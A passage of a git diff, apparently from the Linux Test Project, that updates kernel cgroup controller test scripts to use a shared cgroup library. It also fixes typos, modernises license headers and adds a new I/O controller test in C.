"cgroup_require: No state was set after call to tst_cgctl require?" + + return 0 +} + +. tst_test.sh diff --git a/testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c b/testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c index 71a03d12..a870118f 100755 --- a/testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c +++ b/testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c @@ -150,11 +150,6 @@ void setup(int argc, char *argv[]) if (access("/proc/cgroups", F_OK) == -1) tst_brkm(TCONF, NULL, "Kernel doesn't support cgroups"); - if (tst_kvercmp(3, 7, 0) < 0) { - tst_brkm(TCONF, NULL, - "Test must be run with kernel 3.7 or newer"); - } - for (i = 0; i < ARRAY_SIZE(tkeys); ++i) { if (!strcmp(tkeys[i].name, "security.")) { tkeys[i].good = tst_kvercmp(3, 15, 0) < 0; diff --git a/testcases/kernel/controllers/cpuacct/cpuacct.sh b/testcases/kernel/controllers/cpuacct/cpuacct.sh index ca881988..97a395cd 100755 --- a/testcases/kernel/controllers/cpuacct/cpuacct.sh +++ b/testcases/kernel/controllers/cpuacct/cpuacct.sh @@ -21,8 +21,6 @@ TST_NEEDS_ROOT=1 TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="awk" -. tst_test.sh - mounted=1 max=$1 nbprocess=$2 @@ -178,4 +176,5 @@ do_test() fi } +. tst_test.sh tst_run diff --git a/testcases/kernel/controllers/cpuctl/run_cpuctl_stress_test.sh b/testcases/kernel/controllers/cpuctl/run_cpuctl_stress_test.sh index 3fcba149..5b53544c 100755 --- a/testcases/kernel/controllers/cpuctl/run_cpuctl_stress_test.sh +++ b/testcases/kernel/controllers/cpuctl/run_cpuctl_stress_test.sh @@ -200,7 +200,7 @@ usage () cleanup; exit -1; else - echo "Succesfully launched def task $! too"; + echo "Successfully launched def task $! too"; fi ;; "9" ) @@ -279,7 +279,7 @@ usage () cleanup; exit -1; else - echo "Succesfully launched def task $! too"; + echo "Successfully launched def task $! too"; fi ;; "10" ) @@ -346,7 +346,7 @@ usage () cleanup; exit -1; else - echo "Succesfully launched def task $! too"; + echo "Successfully launched def task $! too"; fi ;; * ) diff --git a/testcases/kernel/controllers/cpuctl/run_cpuctl_test.sh b/testcases/kernel/controllers/cpuctl/run_cpuctl_test.sh index bbbd2fbc..5b09fb27 100755 --- a/testcases/kernel/controllers/cpuctl/run_cpuctl_test.sh +++ b/testcases/kernel/controllers/cpuctl/run_cpuctl_test.sh @@ -144,7 +144,7 @@ NUM_CPUS=`tst_ncpus` cleanup; exit -1; else - echo "Succesfully launched def task $! too"; + echo "Successfully launched def task $! too"; fi ;; "4" ) @@ -210,7 +210,7 @@ NUM_CPUS=`tst_ncpus` cleanup; exit -1; else - echo "Succesfully launched def task $! too"; + echo "Successfully launched def task $! too"; fi ;; "5" ) @@ -270,7 +270,7 @@ NUM_CPUS=`tst_ncpus` cleanup; exit -1; else - echo "Succesfully launched def task $! too"; + echo "Successfully launched def task $! too"; fi ;; diff --git a/testcases/kernel/controllers/cpuctl_fj/run_cpuctl_test_fj.sh b/testcases/kernel/controllers/cpuctl_fj/run_cpuctl_test_fj.sh index ab73c801..5cb6bb56 100755 --- a/testcases/kernel/controllers/cpuctl_fj/run_cpuctl_test_fj.sh +++ b/testcases/kernel/controllers/cpuctl_fj/run_cpuctl_test_fj.sh @@ -63,7 +63,7 @@ cleanup() return 0 } - find $CPUCTL -type d | sort | sed -n '2,$p' | tac | while read tmpdir + find $CPUCTL -type d | sort | sed -n '2,$p' | tac | while read -r tmpdir do while read tmppid do diff --git a/testcases/kernel/controllers/cpuset/cpuset_funcs.sh b/testcases/kernel/controllers/cpuset/cpuset_funcs.sh index 9939f13a..0cfa0c17 100755 --- a/testcases/kernel/controllers/cpuset/cpuset_funcs.sh +++ b/testcases/kernel/controllers/cpuset/cpuset_funcs.sh @@ -79,13 +79,6 @@ cpuset_log_error() done < "$1" } -version_check() -{ - if tst_kvcmp -lt "2.6.28"; then - tst_brkm TCONF "kernel is below 2.6.28" - fi -} - ncpus_check() { if [ $NR_CPUS -lt $1 ]; then @@ -150,8 +143,6 @@ check() cpuset_check - version_check - ncpus_check ${1:-2} nnodes_check ${2:-2} @@ -193,7 +184,7 @@ cleanup() echo $CHILDREN_VALUE > $CLONE_CHILDREN echo $SCHED_LB_VALUE > $SCHED_LB - find "$CPUSET" -type d | sort | sed -n '2,$p' | tac | while read subdir + find "$CPUSET" -type d | sort | sed -n '2,$p' | tac | while read -r subdir do while read pid do diff --git a/testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c b/testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c index a687ad2e..9a81c23e 100755 --- a/testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c +++ b/testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c @@ -3083,19 +3083,19 @@ done: static int sched_setaffinity(pid_t pid, unsigned len, unsigned long *mask) { - return ltp_syscall(__NR_sched_setaffinity, pid, len, mask); + return tst_syscall(__NR_sched_setaffinity, pid, len, mask); } static int get_mempolicy(int *policy, unsigned long *nmask, unsigned long maxnode, void *addr, int flags) { - return ltp_syscall(__NR_get_mempolicy, policy, nmask, maxnode, + return tst_syscall(__NR_get_mempolicy, policy, nmask, maxnode, addr, flags); } static int set_mempolicy(int mode, unsigned long *nmask, unsigned long maxnode) { - return ltp_syscall(__NR_set_mempolicy, mode, nmask, maxnode); + return tst_syscall(__NR_set_mempolicy, mode, nmask, maxnode); } struct cpuset_placement { diff --git a/testcases/kernel/controllers/cpuset/cpuset_memory_pressure_test/cpuset_memory_pressure_testset.sh b/testcases/kernel/controllers/cpuset/cpuset_memory_pressure_test/cpuset_memory_pressure_testset.sh index eddd7f6c..fff0ab31 100755 --- a/testcases/kernel/controllers/cpuset/cpuset_memory_pressure_test/cpuset_memory_pressure_testset.sh +++ b/testcases/kernel/controllers/cpuset/cpuset_memory_pressure_test/cpuset_memory_pressure_testset.sh @@ -33,10 +33,12 @@ check exit_status=0 # usable physical memory -py_mem=$(free -m | awk '{if(NR==2) print $4 + $6 + $7}') +py_mem=$(awk '/MemAvailable/ {print $2}' /proc/meminfo) +py_mem=$(( $py_mem / 1024 )) # free swap space -sw_mem=$(free -m | awk '{if(NR==4) print $4}') +sw_mem=$(awk '/SwapFree/ {print $2}' /proc/meminfo) +sw_mem=$(( $sw_mem / 1024 )) # the memory which is going to be used usemem=$((py_mem - 20)) diff --git a/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_memory_spread_testset.sh b/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_memory_spread_testset.sh index e2767ef0..f7230a4e 100755 --- a/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_memory_spread_testset.sh +++ b/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_memory_spread_testset.sh @@ -38,7 +38,15 @@ nr_mems=$N_NODES # on which it is running. The other nodes' slab space has littler change.(less # than 1000 kb). upperlimit=10000 -lowerlimit=2000 + +# set lowerlimit according to pagesize +# pagesize(bytes) | lowerlimit(kb) +# ------------------------------------ +# 4096 | 2048 +# 16384 | 8192 + +PAGE_SIZE=`tst_getconf PAGESIZE` +lowerlimit=$((PAGE_SIZE * 512 / 1024)) cpus_all="$(seq -s, 0 $((nr_cpus-1)))" mems_all="$(seq -s, 0 $((nr_mems-1)))" diff --git a/testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_testset.sh b/testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_testset.sh index cb7dbd86..c1e7cea8 100755 --- a/testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_testset.sh +++ b/testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_testset.sh @@ -41,7 +41,7 @@ mems_all="$(seq -s, 0 $((nr_mems-1)))" cpu_of_node0=0 HUGEPAGESIZE=$(awk '/Hugepagesize/{ print $2 }' /proc/meminfo) -HUGEPAGESIZE=$(($HUGEPAGESIZE * 1024)) +HUGEPAGESIZE=$((${HUGEPAGESIZE:-0} * 1024)) MEMORY_RESULT="$CPUSET_TMP/memory_result" diff --git a/testcases/kernel/controllers/cpuset/cpuset_regression_test.sh b/testcases/kernel/controllers/cpuset/cpuset_regression_test.sh index a6806b7b..a5757309 100755 --- a/testcases/kernel/controllers/cpuset/cpuset_regression_test.sh +++ b/testcases/kernel/controllers/cpuset/cpuset_regression_test.sh @@ -1,5 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) Linux Test Project, 2016-2022 # Copyright (c) 2015 Fujitsu Ltd. # Author: Zeng Linggang # @@ -11,13 +12,11 @@ TST_SETUP=setup TST_CLEANUP=cleanup -TST_TESTFUNC=test +TST_TESTFUNC=do_test TST_NEEDS_ROOT=1 TST_NEEDS_TMPDIR=1 TST_MIN_KVER="3.18" -. cgroup_lib.sh - LOCAL_MOUNTPOINT="cpuset_test" BACKUP_DIRECTORY="cpuset_backup" @@ -123,17 +122,17 @@ cpuset_restore() setup() { - if ! is_cgroup_subsystem_available_and_enabled "cpuset"; then - tst_brk TCONF "Either kernel does not support cpuset controller or feature not enabled" - fi + cgroup_require "cpuset" + cgroup_version=$(cgroup_get_version "cpuset") + root_cpuset_dir=$(cgroup_get_mountpoint "cpuset") + testpath=$(cgroup_get_test_path "cpuset") + task_list=$(cgroup_get_task_list "cpuset") - # We need to mount cpuset if it is not found. - root_cpuset_dir=$(get_cgroup_mountpoint cpuset) - if [ -z "$root_cpuset_dir" ]; then - root_cpuset_dir="$LOCAL_MOUNTPOINT" + tst_res TINFO "test starts with cgroup version $cgroup_version" - ROD_SILENT mkdir -p ${root_cpuset_dir} - ROD_SILENT mount -t cpuset cpuset ${root_cpuset_dir} + if [ "$cgroup_version" = "2" ]; then + tst_brk TCONF "cgroup v2 found, skipping test" + return fi if ! [ -f ${root_cpuset_dir}/${cpu_exclusive} ]; then @@ -181,17 +180,10 @@ cleanup() echo ${old_cpu_exclusive_value} > ${root_cpuset_dir}/${cpu_exclusive} fi - if [ -d "$LOCAL_MOUNTPOINT" ]; then - umount ${LOCAL_MOUNTPOINT} - if [ $? -ne 0 ]; then - tst_res TWARN "'umount ${LOCAL_MOUNTPOINT}' failed" - fi - - rmdir ${LOCAL_MOUNTPOINT} - fi + cgroup_cleanup } -test() +do_test() { local cpu_exclusive_tmp cpus_value @@ -218,4 +210,5 @@ test() tst_res TPASS "Bug is not reproducible" } +. cgroup_lib.sh tst_run diff --git a/testcases/kernel/controllers/freezer/00_description.txt b/testcases/kernel/controllers/freezer/00_description.txt index b5974128..989a4a40 100755 --- a/testcases/kernel/controllers/freezer/00_description.txt +++ b/testcases/kernel/controllers/freezer/00_description.txt @@ -21,7 +21,7 @@ freeze_self_thaw.sh The subshell process sleeps and then freezes the control group it is a part of. We then thaw the subshell process. We expect the unthawed subshell process to need cleanup afterwards (allows us to test - successfull thawing). + successful thawing). freeze_sleep_thaw.sh This bash script tests freezer code by starting a long sleep process. diff --git a/testcases/kernel/controllers/freezer/freeze_self_thaw.sh b/testcases/kernel/controllers/freezer/freeze_self_thaw.sh index 773c4afa..f6943cda 100755 --- a/testcases/kernel/controllers/freezer/freeze_self_thaw.sh +++ b/testcases/kernel/controllers/freezer/freeze_self_thaw.sh @@ -22,7 +22,7 @@ # This bash script tests freezer code by starting a long subshell process. # The subshell process sleeps and then freezes the control group it is a # part of. We then thaw the subshell process. We expect the unthawed subshell -# process to need cleanup afterwards (allows us to test successfull thawing). +# process to need cleanup afterwards (allows us to test successful thawing). # . "${CGROUPS_TESTROOT}/libcgroup_freezer" diff --git a/testcases/kernel/controllers/freezer/vfork_freeze.sh b/testcases/kernel/controllers/freezer/vfork_freeze.sh index 4bb844ff..6d348760 100755 --- a/testcases/kernel/controllers/freezer/vfork_freeze.sh +++ b/testcases/kernel/controllers/freezer/vfork_freeze.sh @@ -60,7 +60,7 @@ TMPLOG="$TMPDIR/${0##*/}.$$.txt" # create new processes. The vfork'ed processes then sleep, causing the # parent process ($sample_proc) to enter the TASK_UNINTERRUPTIBLE state # for the duration of the sleep. -function vfork_sleep() +vfork_sleep() { vfork -s$sample_sleep 1 -f "$TMPLOG" & local rc=$? diff --git a/testcases/kernel/controllers/io/.gitignore b/testcases/kernel/controllers/io/.gitignore new file mode 100644 index 00000000..d626fa80 --- /dev/null +++ b/testcases/kernel/controllers/io/.gitignore @@ -0,0 +1 @@ +io_control01 diff --git a/testcases/kernel/controllers/io/Makefile b/testcases/kernel/controllers/io/Makefile new file mode 100644 index 00000000..5ea7d67d --- /dev/null +++ b/testcases/kernel/controllers/io/Makefile @@ -0,0 +1,6 @@ +# SPDX-License-Identifier: GPL-2.0-or-later + +top_srcdir ?= ../../../.. + +include $(top_srcdir)/include/mk/testcases.mk +include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/controllers/io/io_control01.c b/testcases/kernel/controllers/io/io_control01.c new file mode 100644 index 00000000..69119688 --- /dev/null +++ b/testcases/kernel/controllers/io/io_control01.c @@ -0,0 +1,158 @@ +// SPDX-License-Identifier: GPL-2.0 +/* + * Copyright (c) 2022 SUSE LLC + */ +/*\ + * + * [Description] + * + * Perform some I/O on a file and check if at least some of it is + * recorded by the I/O controller. + * + * The exact amount of I/O performed is dependent on the file system, + * page cache, scheduler and block driver. We call sync and drop the + * file's page cache to force reading and writing. We also write + * random data to try to prevent compression. + * + * The pagecache is a particular issue for reading. If the call to + * fadvise is ignored then the data may only be read from the + * cache. So that no I/O requests are made. + */ + +#include +#include +#include + +#include "tst_test.h" + +struct io_stats { + unsigned int mjr; + unsigned int mnr; + unsigned long rbytes; + unsigned long wbytes; + unsigned long rios; + unsigned long wios; + unsigned long dbytes; + unsigned long dios; +}; + +static unsigned int dev_major, dev_minor; + +static int read_io_stats(const char *const line, struct io_stats *const stat) +{ + return sscanf(line, + "%u:%u rbytes=%lu wbytes=%lu rios=%lu wios=%lu dbytes=%lu dios=%lu", + &stat->mjr, &stat->mnr, + &stat->rbytes, &stat->wbytes, &stat->rios, &stat->wios, + &stat->dbytes, &stat->dios); +} + +static void run(void) +{ + int i, fd; + char *line, *buf_ptr; + const size_t pgsz = SAFE_SYSCONF(_SC_PAGESIZE); + char *buf = SAFE_MALLOC(MAX((size_t)BUFSIZ, pgsz)); + struct io_stats start; + + memset(&start, 0, sizeof(struct io_stats)); + SAFE_CG_READ(tst_cg, "io.stat", buf, BUFSIZ - 1); + line = strtok_r(buf, "\n", &buf_ptr); + while (line) { + const int convs = read_io_stats(line, &start); + + if (convs < 2) + continue; + + tst_res(TINFO, "Found %u:%u in io.stat", dev_major, dev_minor); + + if (start.mjr == dev_major || start.mnr == dev_minor) + break; + + line = strtok_r(NULL, "\n", &buf_ptr); + } + + SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid()); + + fd = SAFE_OPEN("/dev/urandom", O_RDONLY, 0600); + SAFE_READ(1, fd, buf, pgsz); + SAFE_CLOSE(fd); + + fd = SAFE_OPEN("mnt/dat", O_WRONLY | O_CREAT, 0600); + + for (i = 0; i < 4; i++) { + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, pgsz); + SAFE_FSYNC(fd); + TST_EXP_PASS_SILENT(posix_fadvise(fd, pgsz * i, pgsz, POSIX_FADV_DONTNEED)); + } + + SAFE_CLOSE(fd); + fd = SAFE_OPEN("mnt/dat", O_RDONLY, 0600); + + for (i = 0; i < 4; i++) + SAFE_READ(1, fd, buf, pgsz); + + tst_res(TPASS, "Did some IO in the IO controller"); + + SAFE_CG_READ(tst_cg, "io.stat", buf, BUFSIZ - 1); + line = strtok_r(buf, "\n", &buf_ptr); + while (line) { + struct io_stats end; + const int convs = read_io_stats(line, &end); + + if (convs < 8) + break; + + if (end.mjr != dev_major || end.mnr != dev_minor) { + line = strtok_r(NULL, "\n", &buf_ptr); + continue; + } + + tst_res(TPASS, "Found %u:%u in io.stat", dev_major, dev_minor); + TST_EXP_EXPR(end.rbytes > start.rbytes, + "(rbytes=%lu) > (st_rbytes=%lu)", + end.rbytes, start.rbytes); + TST_EXP_EXPR(end.wbytes > start.wbytes, + "(wbytes=%lu) > (st_wbytes=%lu)", + end.wbytes, start.wbytes); + TST_EXP_EXPR(end.rios > start.rios, + "(rios=%lu) > (st_rios=%lu)", + end.rios, start.rios); + TST_EXP_EXPR(end.wios > start.wios, + "(wios=%lu) > (st_wios=%lu)", + end.wios, start.wios); + + goto out; + } + + tst_res(TINFO, "io.stat:\n%s", buf); + tst_res(TFAIL, "Did not find %u:%u in io.stat", dev_major, dev_minor); +out: + free(buf); + SAFE_CLOSE(fd); + SAFE_UNLINK("mnt/dat"); +} + +static void setup(void) +{ + char buf[PATH_MAX] = { 0 }; + char *path = SAFE_GETCWD(buf, PATH_MAX - sizeof("mnt") - 1); + struct stat st; + + strcpy(path + strlen(path), "/mnt"); + + tst_stat_mount_dev(path, &st); + dev_major = major(st.st_rdev); + dev_minor = minor(st.st_rdev); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .mntpoint = "mnt", + .mount_device = 1, + .all_filesystems = 1, + .skip_filesystems = (const char *const[]){ "ntfs", "tmpfs", NULL }, + .needs_cgroup_ver = TST_CG_V2, + .needs_cgroup_ctrls = (const char *const[]){ "io", NULL }, +}; diff --git a/testcases/kernel/controllers/memcg/.gitignore b/testcases/kernel/controllers/memcg/.gitignore index f7de40d5..3883cede 100755 --- a/testcases/kernel/controllers/memcg/.gitignore +++ b/testcases/kernel/controllers/memcg/.gitignore @@ -7,3 +7,5 @@ /stress/memcg_process_stress memcontrol01 memcontrol02 +memcontrol03 +memcontrol04 diff --git a/testcases/kernel/controllers/memcg/control/mem_process.c b/testcases/kernel/controllers/memcg/control/mem_process.c index 6c1b36ca..8ecabb27 100755 --- a/testcases/kernel/controllers/memcg/control/mem_process.c +++ b/testcases/kernel/controllers/memcg/control/mem_process.c @@ -1,28 +1,6 @@ -/*****************************************************************************/ -/* */ -/* Copyright (c) 2010 Mohamed Naufal Basheer */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License */ -/* along with this program; if not, write to the Free Software */ -/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ -/* File: mem_process.c */ -/* */ -/* Purpose: act as a memory hog for the memcg_control tests */ -/* */ -/* Author: Mohamed Naufal Basheer */ -/* */ -/*****************************************************************************/ +// SPDX-License-Identifier: GPL-2.0-or-later +// Copyright (c) 2010 Mohamed Naufal Basheer +// Author: Mohamed Naufal Basheer #include #include diff --git a/testcases/kernel/controllers/memcg/control/memcg_control_test.sh b/testcases/kernel/controllers/memcg/control/memcg_control_test.sh index 4d9f1bb5..68287a70 100755 --- a/testcases/kernel/controllers/memcg/control/memcg_control_test.sh +++ b/testcases/kernel/controllers/memcg/control/memcg_control_test.sh @@ -1,45 +1,14 @@ #!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2010 Mohamed Naufal Basheer +# Author: Mohamed Naufal Basheer -################################################################################ -## ## -## Copyright (c) 2010 Mohamed Naufal Basheer ## -## ## -## This program is free software; you can redistribute it and/or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, ## -## but WITHOUT ANY WARRANTY; without even the implied warranty of ## -## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See ## -## the GNU General Public License for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -## File: memcg_control_test.sh ## -## ## -## Purpose: Implement various memory controller tests ## -## ## -## Author: Mohamed Naufal Basheer ## -## ## -################################################################################ - -if [ "x$(grep -w memory /proc/cgroups | cut -f4)" != "x1" ]; then - echo "WARNING:" - echo "Either kernel does not support memory resource controller or feature not enabled" - echo "Skipping all memcg_control testcases...." - exit 0 -fi - -export TCID="memcg_control" -export TST_TOTAL=1 -export TST_COUNT=0 - -export TMP=${TMP:-/tmp} -cd $TMP +TST_TESTFUNC=test +TST_SETUP=setup +TST_CLEANUP=cleanup +TST_CNT=1 +TST_NEEDS_ROOT=1 +TST_NEEDS_TMPDIR=1 PAGE_SIZE=$(tst_getconf PAGESIZE) @@ -47,20 +16,14 @@ TOT_MEM_LIMIT=$PAGE_SIZE ACTIVE_MEM_LIMIT=$PAGE_SIZE PROC_MEM=$((PAGE_SIZE * 2)) -TST_PATH=$PWD -STATUS_PIPE="$TMP/status_pipe" - -PASS=0 -FAIL=1 +STATUS_PIPE="status_pipe" # Check if the test process is killed on crossing boundary test_proc_kill() { - cd $TMP mem_process -m $PROC_MEM & - cd $OLDPWD sleep 1 - echo $! > tasks + ROD echo $! \> "$test_dir/$task_list" #Instruct the test process to start acquiring memory echo m > $STATUS_PIPE @@ -77,87 +40,51 @@ test_proc_kill() } # Validate the memory usage limit imposed by the hierarchically topmost group -testcase_1() +test1() { - TST_COUNT=1 - tst_resm TINFO "Test #1: Checking if the memory usage limit imposed by the topmost group is enforced" + cd $TST_TMPDIR + + tst_res TINFO "Test #1: Checking if the memory usage limit imposed by the topmost group is enforced" - echo "$ACTIVE_MEM_LIMIT" > $TST_PATH/mnt/$TST_NUM/memory.limit_in_bytes - echo "$TOT_MEM_LIMIT" > $TST_PATH/mnt/$TST_NUM/memory.memsw.limit_in_bytes + ROD echo "$ACTIVE_MEM_LIMIT" \> "$test_dir/$memory_limit" + + # If the kernel is built without swap, the $memsw_memory_limit file is missing + if [ -e "$test_dir/$memsw_memory_limit" ]; then + ROD echo "$TOT_MEM_LIMIT" \> "$test_dir/$memsw_memory_limit" + fi - mkdir sub - (cd sub KILLED_CNT=0 test_proc_kill if [ $PROC_MEM -gt $TOT_MEM_LIMIT ] && [ $KILLED_CNT -eq 0 ]; then - result $FAIL "Test #1: failed" + tst_res TFAIL "Test #1: failed" else - result $PASS "Test #1: passed" - fi) - rmdir sub + tst_res TPASS "Test #1: passed" + fi } -# Record the test results -# -# $1: Result of the test case, $PASS or $FAIL -# $2: Output information -result() +setup() { - RES=$1 - INFO=$2 - - if [ $RES -eq $PASS ]; then - tst_resm TPASS "$INFO" + cgroup_require "memory" + cgroup_version=$(cgroup_get_version "memory") + test_dir=$(cgroup_get_test_path "memory") + task_list=$(cgroup_get_task_list "memory") + + if [ "$cgroup_version" = "2" ]; then + memory_limit="memory.max" + memsw_memory_limit="memory.swap.max" else - : $((FAILED_CNT += 1)) - tst_resm TFAIL "$INFO" + memory_limit="memory.limit_in_bytes" + memsw_memory_limit="memory.memsw.limit_in_bytes" fi -} -cleanup() -{ - if [ -e $TST_PATH/mnt ]; then - umount $TST_PATH/mnt 2> /dev/null - rm -rf $TST_PATH/mnt - fi + tst_res TINFO "Test starts with cgroup version $cgroup_version" } -do_mount() +cleanup() { - cleanup - - mkdir $TST_PATH/mnt - mount -t cgroup -o memory cgroup $TST_PATH/mnt 2> /dev/null - if [ $? -ne 0 ]; then - tst_brkm TBROK NULL "Mounting cgroup to temp dir failed" - rmdir $TST_PATH/mnt - exit 1 - fi + cgroup_cleanup } -do_mount - -echo 1 > mnt/memory.use_hierarchy 2> /dev/null - -FAILED_CNT=0 - -TST_NUM=1 -while [ $TST_NUM -le $TST_TOTAL ]; do - mkdir $TST_PATH/mnt/$TST_NUM - (cd $TST_PATH/mnt/$TST_NUM && testcase_$TST_NUM) - rmdir $TST_PATH/mnt/$TST_NUM - : $((TST_NUM += 1)) -done - -echo 0 > mnt/memory.use_hierarchy 2> /dev/null - -cleanup - -if [ "$FAILED_CNT" -ne 0 ]; then - tst_resm TFAIL "memcg_control: failed" - exit 1 -else - tst_resm TPASS "memcg_control: passed" - exit 0 -fi +. cgroup_lib.sh +tst_run diff --git a/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh b/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh index 65ad82e0..3a02d16c 100755 --- a/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh +++ b/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh @@ -8,15 +8,11 @@ # Restructure for LTP: Shi Weihua # Added memcg enable/disable functionality: Rishikesh K Rajak -MEMCG_TESTFUNC=test +MEMCG_TESTFUNC=do_test MEMCG_SHMMAX=1 TST_TEST_DATA="--mmap-anon --mmap-file --shm" -. memcg_lib.sh -MEMORY_LIMIT=$PAGESIZE -MEMORY_TO_ALLOCATE=$((MEMORY_LIMIT * 2)) - -test() +do_test() { ROD echo $MEMORY_LIMIT \> memory.limit_in_bytes @@ -36,4 +32,9 @@ test() fi } +. memcg_lib.sh + +MEMORY_LIMIT=$PAGESIZE +MEMORY_TO_ALLOCATE=$((MEMORY_LIMIT * 2)) + tst_run diff --git a/testcases/kernel/controllers/memcg/functional/memcg_force_empty.sh b/testcases/kernel/controllers/memcg/functional/memcg_force_empty.sh index 92ac2593..58046878 100755 --- a/testcases/kernel/controllers/memcg/functional/memcg_force_empty.sh +++ b/testcases/kernel/controllers/memcg/functional/memcg_force_empty.sh @@ -11,7 +11,6 @@ MEMCG_TESTFUNC=test TST_CNT=6 -. memcg_lib.sh # Test memory.force_empty test1() @@ -51,7 +50,8 @@ test6() { # writing to non-empty top mem cgroup's force_empty # should return failure - EXPECT_FAIL echo 1 \> /dev/memcg/memory.force_empty + EXPECT_FAIL echo 1 \> "$mount_point/memory.force_empty" } +. memcg_lib.sh tst_run diff --git a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh index 1b76b659..5efede9c 100755 --- a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh +++ b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh @@ -1,7 +1,7 @@ #! /bin/sh # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) 2012 FUJITSU LIMITED -# Copyright (c) 2014-2019 Linux Test Project +# Copyright (c) 2014-2022 Linux Test Project # Copyright (c) 2021 Joerg Vehlow # # Author: Peng Haitao @@ -10,55 +10,26 @@ TST_NEEDS_CHECKPOINTS=1 TST_NEEDS_ROOT=1 TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="killall find kill" -TST_CLEANUP=memcg_cleanup -TST_SETUP=memcg_setup +TST_SETUP="${TST_SETUP:-memcg_setup}" +TST_CLEANUP="${TST_CLEANUP:-memcg_cleanup}" TST_TESTFUNC=memcg_testfunc -MEMCG_SHMMAX=${MEMCG_SHMMAX:-0} -MEMCG_TESTFUNC=${MEMCG_TESTFUNC:-memcg_no_testfunc} - -. cgroup_lib.sh - -PAGESIZE=$(tst_getconf PAGESIZE) -if [ $? -ne 0 ]; then - tst_brk TBROK "tst_getconf PAGESIZE failed" -fi - -# Post 4.16 kernel updates stat in batch (> 32 pages) every time -PAGESIZES=$(($PAGESIZE * 33)) - -# On recent Linux kernels (at least v5.4) updating stats happens in batches -# (PAGESIZES) and also might depend on workload and number of CPUs. The kernel -# caches the data and does not prioritize stats precision. This is especially -# visible for max_usage_in_bytes where it usually exceeds -# actual memory allocation. -# When checking for usage_in_bytes and max_usage_in_bytes accept also higher values -# from given range: -MEM_USAGE_RANGE=$((PAGESIZES)) - -HUGEPAGESIZE=$(awk '/Hugepagesize/ {print $2}' /proc/meminfo) -[ -z $HUGEPAGESIZE ] && HUGEPAGESIZE=0 -HUGEPAGESIZE=$(($HUGEPAGESIZE * 1024)) - -orig_memory_use_hierarchy= -orig_shmmax= - memcg_require_memsw() { - if ! [ -e /dev/memcg/memory.limit_in_bytes ]; then - tst_brk TBROK "/dev/memcg must be mounted before calling memcg_require_memsw" + if ! [ -e "$mount_point/memory.limit_in_bytes" ]; then + tst_brk TBROK "$mount_point must be mounted before calling memcg_require_memsw" fi - if ! [ -e /dev/memcg/memory.memsw.limit_in_bytes ]; then + if ! [ -e "$mount_point/memory.memsw.limit_in_bytes" ]; then tst_brk TCONF "mem+swap is not enabled" fi } memcg_require_hierarchy_disabled() { - if [ ! -e "/dev/memcg/memory.use_hierarchy" ]; then - tst_brk TBROK "/dev/memcg must be mounted before calling memcg_require_hierarchy_disabled" + if [ ! -e "$mount_point/memory.use_hierarchy" ]; then + tst_brk TBROK "$mount_point must be mounted before calling memcg_require_hierarchy_disabled" fi - if [ $(cat /dev/memcg/memory.use_hierarchy) -eq 1 ]; then + if [ "$(cat "$mount_point/memory.use_hierarchy")" -eq 1 ]; then tst_brk TCONF "Test requires root cgroup memory.use_hierarchy=0" fi } @@ -100,12 +71,19 @@ memcg_adjust_limit_for_kmem() memcg_setup() { - if ! is_cgroup_subsystem_available_and_enabled "memory"; then - tst_brk TCONF "Either kernel does not support Memory Resource Controller or feature not enabled" + cgroup_require "memory" + cgroup_version=$(cgroup_get_version "memory") + + # Most of the tests here are testing specific parts of the cgroup v1 memory interface that is + # not present for cgroup2, so if it is already mounted on a cgroup v2 hierarchy we should skip + # the test. + # Some tests still make sense in v2 and should be modified in a future patch + if [ "$cgroup_version" = "2" ]; then + tst_brk TCONF "memory controller mounted on cgroup v2 hierarchy, skipping test." fi - ROD mkdir /dev/memcg - ROD mount -t cgroup -omemory memcg 